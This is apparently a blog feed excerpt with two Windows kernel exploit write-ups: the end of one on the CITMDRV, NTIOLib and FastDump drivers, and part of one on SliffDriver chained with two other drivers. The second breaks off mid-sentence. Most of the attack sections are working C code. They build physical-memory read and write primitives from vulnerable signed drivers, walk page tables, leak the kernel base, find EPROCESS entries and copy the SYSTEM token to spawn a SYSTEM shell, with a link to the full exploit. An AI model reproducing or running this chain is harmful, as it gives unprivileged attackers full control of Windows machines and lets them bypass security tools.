is no check on whether the caller has the right to access the physical memory. Any user‑mode process can open the device and issue this IOCTL, reading any physical address including kernel memory, page tables, and process tokens. The driver blindly trusts the physical address supplied by the caller.</p><h3>The Handler (Conceptual Decompilation)</h3><pre>case CITMDRV_READ_IOCTL: {<br>    // param_1 is the IRP (Input Request Packet)<br>    // param_1 + 0x18 is the user-mode input buffer for METHOD_NEITHER IOCTLs<br>    <br>    DWORD64* userInputBuffer = *(DWORD64**)(param_1 + 0x18);<br>    DWORD64 physicalAddress  = userInputBuffer[0];  // User supplies PA<br>    DWORD32 readSize         = userInputBuffer[1];  // User supplies size<br>    <br>    // Open \Device\PhysicalMemory — the system device for accessing all RAM<br>    HANDLE hPhysicalMemory = NULL;<br>    ZwOpenSection(&amp;hPhysicalMemory, SECTION_QUERY, &quot;\\Device\\PhysicalMemory&quot;);<br>    <br>    // Map the user-supplied physical address range into kernel virtual space<br>    PVOID mapBase = NULL;<br>    DWORD mapSize = readSize;<br>    ZwMapViewOfSection(hPhysicalMemory, NtCurrentProcess(), &amp;mapBase, <br>                       0, 0, &amp;physicalAddress, &amp;mapSize, ViewUnmap, 0, PAGE_READONLY);<br>    <br>    // Copy from kernel virtual address to user buffer<br>    PVOID userOutputBuffer = userInputBuffer[2];<br>    memcpy(userOutputBuffer, mapBase, readSize);  // or memmove, variations exist<br>    <br>    // Cleanup<br>    ZwUnmapViewOfSection(NtCurrentProcess(), mapBase);<br>    ZwClose(hPhysicalMemory);<br>}</pre><h3>Using It</h3><pre>DWORD64 ReadPhysical(HANDLE hCITMDRV, DWORD64 physAddr, void* buf, DWORD size) {<br>    struct {<br>        DWORD64 pa;<br>        DWORD32 sz;<br>        DWORD64 outBuf;<br>    } req = { physAddr, size, (DWORD64)buf };<br>    <br>    DWORD ret;<br>    DeviceIoControl(hCITMDRV, CITMDRV_READ_IOCTL, &amp;req, sizeof(req),<br>                    NULL, 0, &amp;ret, NULL);<br>    return *(DWORD64*)buf;<br>}</pre><h3>5. NTIOLib_X64.sys — Physical Write Primitive</h3><h3>Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*KhRB59xNzU138Zjc1ffvIQ.png" /></figure><p>NTIOLib exposes a physical memory <strong>write</strong> primitive, complementing CITMDRV’s read. It allows writing arbitrary data to any physical address.The NTIOLib write primitive is exposed via IOCTL 0xC350A108. The handler FUN_000115f8 (shown below) takes a structure that contains a physical address, element size, element count, and the raw data to write. It validates only that the buffer is large enough, then calls MmMapIoSpace(physAddr, size, 0) with the user‑supplied physical address and MmNonCached. After mapping, it copies the user data byte‑by‑byte (or word/dword) into the mapped kernel virtual address, then unmaps. There is no check on whether the physical address is MMIO or RAM, and no privilege verification. This gives user mode the ability to write to any physical memory location, which we used to overwrite the current process token with the System token.</p><h3>The Handler (Conceptual Decompilation)</h3><pre>case NTIO_WRITE_IOCTL: {<br>    // param_1 is the IRP<br>    // param_1 + 0x18 is the user-mode input buffer<br>    <br>    BYTE* userInputBuffer = *(BYTE**)(param_1 + 0x18);<br>    DWORD64 physicalAddress = *(DWORD64*)(userInputBuffer + 0);<br>    DWORD   writeSize       = *(DWORD*)(userInputBuffer + 8);<br>    void*   writeData       = userInputBuffer + 16;  // Data to write starts here<br>    <br>    // Map physical address into kernel virtual space with non-cached attribute<br>    PVOID mappedVA = MmMapIoSpace(physicalAddress, writeSize, MmNonCached);<br>    <br>    if (!mappedVA) return STATUS_UNSUCCESSFUL;<br>    <br>    // Write user-supplied data to the mapped physical memory<br>    memcpy(mappedVA, writeData, writeSize);<br>    <br>    // Unmap<br>    MmUnmapIoSpace(mappedVA, writeSize);<br>    <br>    return STATUS_SUCCESS;<br>}</pre><h3>The Vulnerability</h3><p>Again, <strong>no validation</strong>:</p><ul><li>Accepts any physical address</li><li>Accepts any write size</li><li>No range checking, no access control</li><li>Blindly copies user data into physical memory</li></ul><p>Any unprivileged process can write to anywhere in RAM.</p><h3>Using It</h3><pre>int WritePhysical(HANDLE hNTIOLib, DWORD64 physAddr, void* data, DWORD size) {<br>    BYTE req[0x10 + 256] = {0};<br>    *(DWORD64*)(req + 0) = physAddr;<br>    *(DWORD*)(req + 8)   = size;<br>    memcpy(req + 0x10, data, size);<br>    <br>    DWORD ret;<br>    return DeviceIoControl(hNTIOLib, NTIO_WRITE_IOCTL, req, 0x10 + size,<br>                          NULL, 0, &amp;ret, NULL);<br>}</pre><h3>6. Page Table Walk — VA to PA Translation</h3><p>CITMDRV and NTIOLib work with <strong>physical addresses</strong>, but kernel memory locations are tracked as <strong>virtual addresses</strong>. We need a way to convert between them.</p><p>The kernel stores the mappings in <strong>page tables</strong> — a hierarchy of structures that translate virtual → physical. On x86–64, the hierarchy is:</p><ol><li><strong>PML4 (Page Map Level 4)</strong> — top level, 512 entries, indexed by VA bits 48–39</li><li><strong>PDPT (Page Directory Pointer Table)</strong> — 512 entries, indexed by VA bits 47–39</li><li><strong>PD (Page Directory)</strong> — 512 entries, indexed by VA bits 38–30</li><li><strong>PT (Page Table)</strong> — 512 entries, indexed by VA bits 29–21</li><li><strong>Physical offset</strong> — VA bits 20–0 (4KB page)</li></ol><p>The process’s <strong>CR3 register</strong> points to the PML4. The kernel (System process) has its own CR3, which FastDump gave us.</p><h3>Manual Page Walk Algorithm</h3><p>Given:</p><ul><li>A virtual address (VA)</li><li>System’s CR3 (base of its page table)</li><li>A read primitive (CITMDRV)</li></ul><p>We walk the hierarchy:</p><pre>DWORD64 VaToPa(DWORD64 va, DWORD64 cr3) {<br>    // Extract indices from VA<br>    DWORD64 pml4_idx = (va &gt;&gt; 39) &amp; 0x1FF;<br>    DWORD64 pdpt_idx = (va &gt;&gt; 30) &amp; 0x1FF;<br>    DWORD64 pd_idx   = (va &gt;&gt; 21) &amp; 0x1FF;<br>    DWORD64 pt_idx   = (va &gt;&gt; 12) &amp; 0x1FF;<br>    DWORD64 offset   = va &amp; 0xFFF;<br>    <br>    // Walk PML4<br>    DWORD64 pml4e = ReadPhysical(cr3 + pml4_idx * 8);<br>    if (!(pml4e &amp; 1)) return 0;  // Not present<br>    <br>    // Walk PDPT<br>    DWORD64 pdpte = ReadPhysical((pml4e &amp; 0xFFFFFFFFF000) + pdpt_idx * 8);<br>    if (!(pdpte &amp; 1)) return 0;<br>    if (pdpte &amp; 0x80) return (pdpte &amp; 0xFFFFFC0000000) + (va &amp; 0x3FFFFFFF);  // 1GB page<br>    <br>    // Walk PD<br>    DWORD64 pde = ReadPhysical((pdpte &amp; 0xFFFFFFFFF000) + pd_idx * 8);<br>    if (!(pde &amp; 1)) return 0;<br>    if (pde &amp; 0x80) return (pde &amp; 0xFFFFFFFE00000) + (va &amp; 0x1FFFFF);  // 2MB page<br>    <br>    // Walk PT<br>    DWORD64 pte = ReadPhysical((pde &amp; 0xFFFFFFFFF000) + pt_idx * 8);<br>    if (!(pte &amp; 1)) return 0;  // Not present<br>    <br>    return (pte &amp; 0xFFFFFFFFF000) + offset;<br>}</pre><h3>The Complete Exploit</h3><p>Now we have all the pieces. Here’s how they connect.</p><h3>Defeat KASLR</h3><p>Call FastDump to leak the kernel base and System CR3:</p><pre>DWORD64 GetKernelInfo(HANDLE hFD) {<br>    BYTE inBuf[0x80] = {0}, outBuf[0x80] = {0};<br>    DWORD ret;<br>    <br>    *(DWORD*)inBuf = 0x7C;<br>    <br>    DeviceIoControl(hFD, 0x9C400010, inBuf, sizeof(inBuf), <br>                    outBuf, sizeof(outBuf), &amp;ret, NULL);<br>    <br>    g_kernelBase = *(DWORD64*)(outBuf + 0x70);<br>    g_systemCR3  = *(DWORD64*)(outBuf + 0x68) &amp; 0xFFFFFFFFFFFFF000ULL;<br>    <br>    return g_kernelBase;<br>}<br>// At runtime:<br>DWORD64 kernelBase = GetKernelInfo(hFastDump);<br>printf(&quot;[+] Kernel Base: 0x%016llX\n&quot;, kernelBase);<br>printf(&quot;[+] System CR3:  0x%016llX\n&quot;, g_systemCR3);</pre><h3>Locate System EPROCESS</h3><p>PsInitialSystemProcess is a pointer in ntoskrnl. Its offset from the kernel base is fixed per build (e.g., 0xCFC420 on Windows 10 22H2 — this varies by version).</p><p>We read it using CITMDRV’s physical read primitive (via the page walk):</p><pre>DWORD64 LocateSystemEPROCESS(HANDLE hCITMDRV, DWORD64 kernelBase) {<br>    // RVA of PsInitialSystemProcess in ntoskrnl.exe<br>    // On Windows 10 22H2: 0xCFC420 (varies per build)<br>    DWORD64 psiRVA = 0xCFC420;<br>    <br>    DWORD64 psiVA = kernelBase + psiRVA;<br>    printf(&quot;[*] PsInitialSystemProcess VA: 0x%016llX\n&quot;, psiVA);<br>    <br>    // Convert psiVA to physical address<br>    DWORD64 psiPA = VaToPa(psiVA, g_systemCR3);<br>    printf(&quot;[*] PsInitialSystemProcess PA: 0x%016llX\n&quot;, psiPA);<br>    <br>    // Read the pointer — it points to System EPROCESS<br>    DWORD64 systemEproc = ReadPhysical(hCITMDRV, psiPA, 8);<br>    <br>    if (!systemEproc || (systemEproc &gt;&gt; 48) != 0xFFFF) {<br>        printf(&quot;[-] Invalid System EPROCESS: 0x%016llX\n&quot;, systemEproc);<br>        return 0;<br>    }<br>    <br>    printf(&quot;[+] System EPROCESS VA: 0x%016llX\n&quot;, systemEproc);<br>    return systemEproc;<br>}</pre><h3>Walk ActiveProcessLinks to Find Our EPROCESS</h3><p>From System EPROCESS, walk the ActiveProcessLinks list to find our own process:</p><pre>DWORD64 FindOurEPROCESS(HANDLE hCITMDRV, DWORD64 systemEproc) {<br>    DWORD myPid = GetCurrentProcessId();<br>    printf(&quot;[*] Our PID: %lu\n&quot;, myPid);<br>    <br>    // Convert system EPROCESS VA to PA for reading<br>    DWORD64 sysPA = VaToPa(systemEproc, g_systemCR3);<br>    if (!sysPA) {<br>        printf(&quot;[-] VaToPa failed for System EPROCESS\n&quot;);<br>        return 0;<br>    }<br>    <br>    // Read the Flink at offset 0x448 (ActiveProcessLinks)<br>    DWORD64 flink = ReadPhysical(hCITMDRV, sysPA + 0x448, 8);<br>    DWORD64 current = flink - 0x448;  // Back-calculate EPROCESS base<br>    <br>    printf(&quot;[*] Starting ActiveProcessLinks walk...\n&quot;);<br>    <br>    for (int i = 0; i &lt; 2000; i++) {  // Reasonable limit<br>        DWORD64 curPA = VaToPa(current, g_systemCR3);<br>        if (!curPA) {<br>            printf(&quot;[-] VaToPa failed at iteration %d\n&quot;, i);<br>            break;<br>        }<br>        <br>        // Read PID at offset 0x440<br>        DWORD64 pidVal = ReadPhysical(hCITMDRV, curPA + 0x440, 8);<br>        DWORD pid = (DWORD)pidVal;<br>        <br>        if (pid == myPid) {<br>            printf(&quot;[+] Found our EPROCESS at VA 0x%016llX (iteration %d)\n&quot;, <br>                   current, i);<br>            return current;<br>        }<br>        <br>        // Move to next process in the list<br>        DWORD64 nextLink = ReadPhysical(hCITMDRV, curPA + 0x448, 8);<br>        if (nextLink == flink || !nextLink) {<br>            printf(&quot;[-] Reached end of ActiveProcessLinks list without finding our PID\n&quot;);<br>            break;<br>        }<br>        <br>        current = nextLink - 0x448;<br>    }<br>    <br>    return 0;  // Not found<br>}</pre><h3>Read SYSTEM’s Token</h3><p>Now we have both EPROCESS virtual addresses. Read System’s token via CITMDRV:</p><pre>DWORD64 StealSystemToken(HANDLE hCITMDRV, DWORD64 systemEproc) {<br>    DWORD64 sysPA = VaToPa(systemEproc, g_systemCR3);<br>    if (!sysPA) {<br>        printf(&quot;[-] VaToPa failed for System EPROCESS\n&quot;);<br>        return 0;<br>    }<br>    <br>    // Read Token field at offset 0x4B8<br>    DWORD64 sysToken = ReadPhysical(hCITMDRV, sysPA + 0x4B8, 8);<br>    <br>    // Token is an EX_FAST_REF — low 4 bits are refcount, mask them off<br>    DWORD64 cleanToken = sysToken &amp; 0xFFFFFFFFFFFFFFF0ULL;<br>    <br>    printf(&quot;[+] SYSTEM Token (raw):   0x%016llX\n&quot;, sysToken);<br>    printf(&quot;[+] SYSTEM Token (clean): 0x%016llX\n&quot;, cleanToken);<br>    <br>    return cleanToken;<br>}</pre><h3>Overwrite Our Token</h3><p>Using NTIOLib, write the SYSTEM token into our process’s token field:</p><pre>int OverwriteOurToken(HANDLE hNTIOLib, DWORD64 ourEproc, DWORD64 systemToken) {<br>    DWORD64 ourPA = VaToPa(ourEproc, g_systemCR3);<br>    if (!ourPA) {<br>        printf(&quot;[-] VaToPa failed for our EPROCESS\n&quot;);<br>        return 0;<br>    }<br>    <br>    DWORD64 tokenPA = ourPA + 0x4B8;<br>    <br>    printf(&quot;[*] Writing SYSTEM token to our EPROCESS at PA 0x%016llX\n&quot;, tokenPA);<br>    <br>    return WritePhysical(hNTIOLib, tokenPA, &amp;systemToken, 8);<br>}</pre><h3>Spawn SYSTEM Shell</h3><p>After the token write, our process carries the SYSTEM token. Any child process inherits it:</p><pre>printf(&quot;\n[+] Token stolen! Spawning cmd.exe as SYSTEM...\n&quot;);<br>printf(&quot;=========================================\n&quot;);<br>system(&quot;cmd.exe&quot;);<br>printf(&quot;=========================================\n&quot;);</pre><p><strong>Full Exploit Code:</strong> <a href="https://github.com/Haider303/trinity-lpe">https://github.com/Haider303/trinity-lpe</a></p><p><strong>Demo Video:</strong> <a href="https://youtu.be/Xd4m6Hg4Xfs">https://youtu.be/Xd4m6Hg4Xfs</a></p><p>Remember to load all three drivers before running the exploit. And this is for educational purpose only — these are powerful primitives.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=567f57e9cd20" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Applockerflter/SliffDriver.sys : Full Kernel Exploit Chain — From Driver Recon to SYSTEM Shell]]></title>
            <link>https://medium.com/@haider303mustafa/applockerflter-sliffdriver-sys-full-kernel-exploit-chain-from-driver-recon-to-system-shell-b57d87738308?source=rss-bff4337ffa0a------2</link>
            <guid isPermaLink="false">https://medium.com/p/b57d87738308</guid>
            <category><![CDATA[kernel]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[exploit-development]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Haidermustafa]]></dc:creator>
            <pubDate>Fri, 12 Jun 2026 12:40:35 GMT</pubDate>
            <atom:updated>2026-06-12T12:52:01.901Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yttA-BlwEHQPkbqVGpkocw.png" /></figure><h3>1. What Even Is a Kernel Driver?</h3><p>Before diving into the technical details and the vulnerability, we should understand what we’re actually attacking.</p><p>Windows runs in two privilege levels: <strong>user mode</strong> and <strong>kernel mode</strong>. Your browser, your games — they all run in user mode. The kernel itself, hardware drivers, and core OS components run in kernel mode, which has unrestricted access to every byte of physical memory on the machine.</p><p>Kernel driver ( a .sys files) is a bridge between user mode and hardware. It loads directly into kernel space and runs with the highest privilege on the system. User mode programs talk to drivers through a mechanism called <strong>IOCTLs</strong> (I/O Control ) — numbered function calls where you open a handle to the driver&#39;s device object, send an IOCTL code(like 0x222040) with an input buffer, and the driver processes it in kernel context and optionally writes back to an output buffer. Optionally, means the output buffer is not always required,it depends on the IOCTL.</p><p>This is why vulnerable drivers are so attractive. If a driver blindly trusts user-supplied data like a pointer, an address — and uses it in kernel context, you have a direct line or connection to kernel memory from an unprivileged process(normal exe).</p><p><strong>Token stealing</strong> is the classic endgame for kernel exploits on Windows. To understand why it works, you need to understand the EPROCESS structure.</p><p>Every running process on Windows has a corresponding EPROCESS structure living in kernel memory. It is a large structure that the kernel uses to track everything about a process — its handles, its threads, its memory, and critically, its identity and privileges. A few fields are particularly relevant to this exploit:</p><p><strong>UniqueProcessId at offset </strong><strong>0x440</strong> : This is simply the PID. It&#39;s how we identify which EPROCESS belongs to which process when walking the list.</p><p><strong>ActiveProcessLinks at offset </strong><strong>0x448</strong> : This is a data Structure, a doubly-linked list node containing two pointers: Flink (forward link, pointing to the next entry) and Blink (backward link, pointing to the previous entry). The kernel keeps all running process EPROCESS structures chained together through this field in a circular doubly-linked list. The list is anchored at PsInitialSystemProcess — the SYSTEM process — which is why we start there. To get from an ActiveProcessLinks pointer back to the base of the EPROCESS, you subtract the field&#39;s offset (0x448) from the pointer value, since the list entry sits inside the structure rather than at its head.</p><p><strong>Token at offset </strong><strong>0x4B8</strong>: This is a pointer to the process&#39;s security token with the low 4 bits repurposed as a reference count. The token determines everything the process is allowed to do — what files it can open, what privileges it holds, what objects it can access. The SYSTEM process (PID 4) holds the most privileged token on the machine.</p><p>One important detail about these offsets — 0x440 for UniqueProcessId, 0x448 for ActiveProcessLinks, 0x4B8 for Token — is that they are not constants. They are specific to a particular Windows build.</p><p>When Microsoft compiles the Windows kernel, the EPROCESS structure is compiled directly into ntoskrnl.exe at that point in time. The layout of the structure — the size of each field, the order they appear, the padding between them — gets baked into the binary. There is no runtime indirection, no lookup table. Every piece of kernel code that accesses EPROCESS fields does it via hardcoded offsets relative to the structure base, compiled in at build time. Once that kernel ships, those offsets are fixed for the lifetime of that build.</p><p>This means that the offsets can and do shift between Windows versions and even between updates. A Token offset that is 0x4B8 on Windows 10 22H2 may be different on Windows 11 23H2 . If you run a hardcoded exploit against the wrong build, you corrupt the wrong memory and crash the machine (BSOD) instead of stealing a token.</p><p>In practice there are two ways to handle this. The first is to hardcode a table of known offsets per build version and select the right one at runtime by reading the OS version. The second — cleaner for research purposes — is to resolve offsets dynamically at runtime using the _EPROCESS type information from public Microsoft symbols (PDB files), which ship for every kernel build and document the exact field layout. For this exploit the offsets were hardcoded and tested against a specific target build of Windows.</p><p>The token steal works by walking ActiveProcessLinks from SYSTEM through every process using Flink, reading UniqueProcessId at each node to find our own process, then copying SYSTEM&#39;s Token value into our own Token field. From that point Windows believes our process is SYSTEM and grants it full privileges.</p><p>These Offsets can easily be found using WinDbg</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*PA41ZURsI24L58eBVr2w1Q.png" /></figure><h3>2. My Existing Research Drivers</h3><p>Before finding SliffDriver, I had already exploited two drivers of my own as research projects(U can read them by checking my profile). When I found SliffDriver, I immediately recognized it as the missing piece that would complete a full privilege escalation chain when combined with what I already had.</p><h3>WinNotify.sys — Kernel Read and KASLR Bypass</h3><p>WinNotify is a driver that exposes two IOCTLs useful for kernel recon:</p><ul><li><strong>IOCTL </strong><strong>0x222040</strong> — arbitrary kernel virtual memory read. Supply a base address and offset, get back 40 bytes of kernel memory.</li><li><strong>IOCTL </strong><strong>0x22200C</strong> — module base resolver. Pass a module name (ntoskrnl.exe), get back its loaded base address. This defeats KASLR entirely.</li></ul><p>Although this driver has read/write capabilities also but for helping the sliff driver , these two primitives handle the recon side of the chain — finding where things are in kernel memory and reading them.</p><h3>FoxKeyDriv64.sys— VA→PA Translation</h3><p>Fox is another driver(from my previous blog) that exposes many IOCTLS but for this research I only used this one IOCTL:</p><ul><li><strong>IOCTL </strong><strong>0x2220C0</strong> — calls MmGetPhysicalAddress on a caller-supplied virtual address and returns the physical address.</li></ul><p>This is needed because SliffDriver, as we’ll see, operates on physical addresses rather than virtual ones. Fox bridges the two.</p><h3>3. SliffDriver — Signatures and VirusTotal</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*08_PFRpmgKQMVkin5XQLxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-WphSaElc1O7u8RPpcPyfg.png" /></figure><p>For the Winnotify and Fox driver :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r-eRe9jqVJiTHfY56D7b-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WDD-y-DE1iR2La0cg14zag.png" /></figure><h3>Driver Signatures and BYOVD</h3><p>Since Windows enforces <strong>Driver Signature Enforcement (DSE)</strong>. Every .sys file loaded into kernel mode must carry a valid signature from a trusted certificate authority. This exists to prevent arbitrary unsigned code from running in the kernel.</p><p>The attack class that works around this is called <strong>BYOVD(Bring Your Own Vulnerable Driver)</strong>. The premise is simple: find a driver that is legitimately signed and loads without complaint, but contains exploitable vulnerabilities in its IOCTL handlers. The driver isn’t malicious from Windows’ perspective — it has a real signature from a real vendor. But its logic is broken.</p><p>SliffDriver carries a valid signature. Windows loads it without any warning.</p><h3>VirusTotal</h3><p>Submitting SliffDriver to VirusTotal at time of discovery showed 0/72. This is typical for BYOVD targets — most AV engines look for behavioral malware patterns and don’t audit IOCTL handler logic in signed drivers.</p><h3>4. Loading the Driver and Finding Its Device</h3><h3>Loading with OSR Driver Loader</h3><p>To interact with a driver during research, it needs to be running. The standard tool for this is <strong>OSR Driver Loader</strong>, a free utility from OSR Online. It handles all the Service Control Manager plumbing — registering the driver as a service and starting it — without needing to write any code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*c0EbjVZI8b8JxXckh4IF0w.png" /></figure><p>Since SliffDriver is legitimately signed, this works on any standard Windows installation with no special configuration needed.</p><h3>Finding the Symbolic Link with WinObj</h3><p>Drivers expose themselves to user mode through <strong>device objects</strong> with associated <strong>symbolic links</strong> — named entries in the Windows object namespace that user mode code can open with CreateFile. Without knowing the symbolic link name, you can&#39;t send any IOCTLs.</p><p><strong>WinObj</strong> from Sysinternals lets you browse the Windows object namespace visually. After loading SliffDriver, navigating to GLOBALS? in WinObj reveals:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TdTPaWrXXH-DIQg_55Sqrg.png" /></figure><p>So this is the path we pass to CreateFile:</p><pre>HANDLE hSL = CreateFileA(&quot;\\\\.\\SliffDriver&quot;,<br>    GENERIC_READ | GENERIC_WRITE, 0, NULL,<br>    OPEN_EXISTING, 0, NULL);</pre><p>The \\\\.\\ prefix is the user-mode shorthand for \DosDevices. Once this call succeeds we have a handle and can start sending IOCTLs.</p><h3>5. IOCTL Analysis — What SliffDriver Actually Does</h3><p>With a handle open the next step is reverse engineering the driver to find what IOCTL codes it accepts and what it does with them. This is done through static analysis in Ghidra — load the .sys, find the dispatch routine, and follow the switch statement on the IOCTL code.</p><h3>SliffDriver IOCTL 0x80002004 — The Vulnerability</h3><p>Here is the decompiled handler:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*2sl5U2b-rHDzPZcGnegZ4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*ODSCxDiW5YM4IxgtNMedhg.png" /></figure><pre>case 0x80002004:<br>    puVar1 = *(undefined8 **)(param_1 + 0x18);  // User buffer<br>lVar2 = MmMapIoSpace(puVar1[1], *(DWORD*)(puVar1 + 3), 0);<br>    lVar3 = IoAllocateMdl(lVar2, size, 0, 0, 0);<br>    MmBuildMdlForNonPagedPool(lVar3);<br>    uVar4 = MmMapLockedPages(lVar3, 1);  // 1 = UserMode<br>    *puVar1 = uVar4;  // Return user-mode VA to caller</pre><p>Let’s walk through exactly what each line does.</p><p><strong>param_1 + 0x18</strong> : In a kernel IOCTL handler, param_1 is the IRP(Input Req Packet). Offset 0x18 into the current IRP stack location is the Type3InputBuffer field, used for METHOD_NEITHER IOCTLs. <strong>METHOD_NEITHER</strong> is an I/O control (IOCTL) method in Windows driver development where the I/O Manager passes user-space memory pointers directly to the kernel driver</p><p><strong>MmMapIoSpace(puVar1[1], size, 0)</strong> : This kernel API maps a physical address range into kernel virtual address space. It is normally used to map device memory registers (hence &quot;IoSpace&quot;). Here puVar1[1] is a 64-bit physical address read directly from the user buffer — completely controlled by us. The driver maps whatever physical address you supply.</p><p><strong>IoAllocateMdl + </strong><strong>MmBuildMdlForNonPagedPool</strong> : Creates and initializes a Memory Descriptor List , a kernel structure that describes a region of virtual memory in terms of its underlying physical pages</p><p><strong>IoAllocateMdl</strong> Allocates an MDL structure for a given virtual address and length. It just creates the descriptor — it doesn&#39;t yet know which physical pages back that memory.</p><p><strong>MmBuildMdlForNonPagedPool </strong>Fills in the MDL with the actual physical page information for non-paged pool memory (memory guaranteed to always be in RAM, never swapped out). After this call, it knows exactly which physical pages correspond to that virtual address.</p><p>After this, you’d typically call MmMapLockedPages to map those same physical pages into user space — giving user mode a window directly into kernel memory. That&#39;s exactly the primitive that makes drivers like SliffDriver exploitable.</p><p><strong>MmMapLockedPages(lVar3, 1)</strong> — This is the critical line. The second argument is 1, which corresponds to UserMode in the KPROCESSOR_MODE enum. This call maps the locked pages into the <strong>calling process&#39;s user-mode address space</strong> and returns a user-mode virtual address.</p><p><strong>*puVar1 = uVar4</strong> — The user-mode virtual address is written back to the caller&#39;s buffer.</p><p>The result is that the caller supplies a physical address, and gets back a normal user-mode pointer that directly backs that physical memory. From that point forward, no more IOCTLs are needed — reading or writing through that pointer reads or writes physical kernel memory directly.</p><p><strong>Input buffer structure:</strong></p><pre>Offset 0x08  [8 bytes]  physical address to map<br>Offset 0x18  [4 bytes]  size in bytes</pre><p><strong>Output buffer:</strong></p><pre>Offset 0x00  [8 bytes]  user-mode virtual address mapping that physical memory</pre><p><strong>Why is this vulnerable:</strong> Physical memory is the ground truth of the entire system. Virtual address spaces, process isolation, privilege levels — everything sits on top of physical memory. A process that can read and write arbitrary physical memory can do anything: steal tokens, patch kernel code, disable Protected Process Light, bypass any security product on the machine. SliffDriver hands this capability to any unprivileged caller with no privilege check, no access control, nothing.</p><h3>6. My Two Research IOCTLs — How They Help the Exploit</h3><h3>WinNotify IOCTL 0x222040 — Arbitrary Kernel Read</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*pe5cgmA1SNYPFiZTbhX7vA.png" /></figure><pre>case 0x222040:<br>    plVar6 = *(longlong **)(param_2 + 0x18);<br>lVar7 = plVar6[1];   // offset  (user-controlled)<br>    lVar8 = *plVar6;     // base    (user-controlled)<br>    if (*(longlong *)(lVar7 + 0x10 + lVar8) != 0) {<br>        plVar6[2] = *(longlong *)(lVar7 + 0x10 + lVar8);<br>        plVar6[3] = *(longlong *)(lVar7 + 0x18 + lVar8);<br>        plVar6[4] = *(longlong *)(lVar7 + 0x20 + lVar8);<br>        plVar6[5] = *(longlong *)(lVar7 + 0x28 + lVar8);<br>        plVar6[6] = *(longlong *)(lVar7 + 0x30 + lVar8);<br>    }</pre><p>Accepts a base address and offset, reads 5 QWORDs from base + offset + 0x10 and writes them back to the user buffer. No validation on the address — supply any kernel virtual address and read 40 bytes from it.</p><p><strong>Input:</strong></p><pre>Offset 0x00  [8 bytes]  base kernel virtual address<br>Offset 0x08  [8 bytes]  offset added to base</pre><p><strong>Output</strong> (written back into same buffer):</p><pre>Offset 0x10–0x30  [5 × 8 bytes]  kernel memory contents</pre><p>We wrap this into a clean ReadQWORD helper accounting for the internal +0x10 the driver adds:</p><pre>DWORD64 ReadQWORD(DWORD64 addr) {<br>    DWORD64 vals[5];<br>    KernelRead040(addr - 0x10, 0, vals);<br>    return vals[2];<br>}</pre><h3>WinNotify IOCTL 0x22200C — KASLR Bypass</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*sKm9KeBOEu9DOfhRZE-4JQ.png" /><figcaption>The IOCTL</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*xQm4AAsBf3B6m0mKOOundg.png" /><figcaption>Walk Each module entry</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*a-6yKDFUIErc7EAlOSgaLA.png" /><figcaption>Function to retrive snapshot</figcaption></figure><pre>case 0x22200C:<br>    puVar5 = *(undefined8 **)(param_2 + 0x18);<br>    uVar14 = FUN_1400016d8((char *)*puVar5);<br>    puVar5[2] = uVar14;</pre><pre>ulonglong FUN_1400016d8(char *param_1)  // param_1 = &quot;ntoskrnl.exe&quot; from user<br>{<br>    puVar2 = (uint *)FUN_1400017c8(0xb);  // retrieve module list snapshot<br>    <br>    // Walk each module entry<br>    do {<br>        // Get module name from list entry<br>        pcVar5 = (char *)((ulonglong)*(ushort *)((longlong)puVar6 + 0x26) + <br>                           0x28 + (longlong)puVar6);<br>      // Case-insensitive string comparison with user-supplied name<br>        if (uVar8 == uVar11) {  // lengths match<br>            // ... compare characters ...<br>            uVar4 = *(ulonglong *)(puVar6 + 4);  // return module base<br>            break;<br>        }<br>        puVar6 = puVar6 + 0x4a;<br>    } while (uVar12 &lt; *puVar2);<br>    <br>    ExFreePoolWithTag(puVar2, 0);<br>    return uVar4;<br>}</pre><p>Pass a module name string, get back its loaded kernel base address. Internally walks PsLoadedModuleList. Defeats KASLR completely — passing &quot;ntoskrnl.exe&quot; returns the exact address ntoskrnl loaded at on this boot.</p><p><strong>Input:</strong></p><pre>Offset 0x00  [8 bytes]  pointer to module name string</pre><p><strong>Output:</strong></p><pre>Offset 0x10  [8 bytes]  module base virtual address</pre><h3>Fox_FOXONE_Driver IOCTL 0x2220C0 — VA→PA</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*1ygBADqfXVGD4q0Uc8KqTQ.png" /></figure><pre>case 0x2220C0:<br>    puVar6 = *(undefined8 **)(param_2 + 0x18);<br>    uVar12 = MmGetPhysicalAddress(*puVar6);<br>    *puVar6 = uVar12;</pre><p>Calls MmGetPhysicalAddress on a caller-supplied virtual address and returns the physical address. This bridges the gap between WinNotify (which gives us virtual addresses from kernel reads) and SliffDriver (which needs physical addresses to map).</p><p><strong>Input/Output:</strong></p><pre>Offset 0x00  [8 bytes]  virtual address IN → physical address OUT</pre><h3>7. The Exploit :</h3><p>With all four primitives understood, here is how they chain together.</p><h3>Defeat KASLR</h3><p>Call WinNotify’s module resolver to get the ntoskrnl base:</p><pre>g_kernelVA = GetKernelBase();<br>// e.g. 0xFFFFF80012A00000</pre><h3>Locate SYSTEM EPROCESS</h3><p>PsInitialSystemProcess is 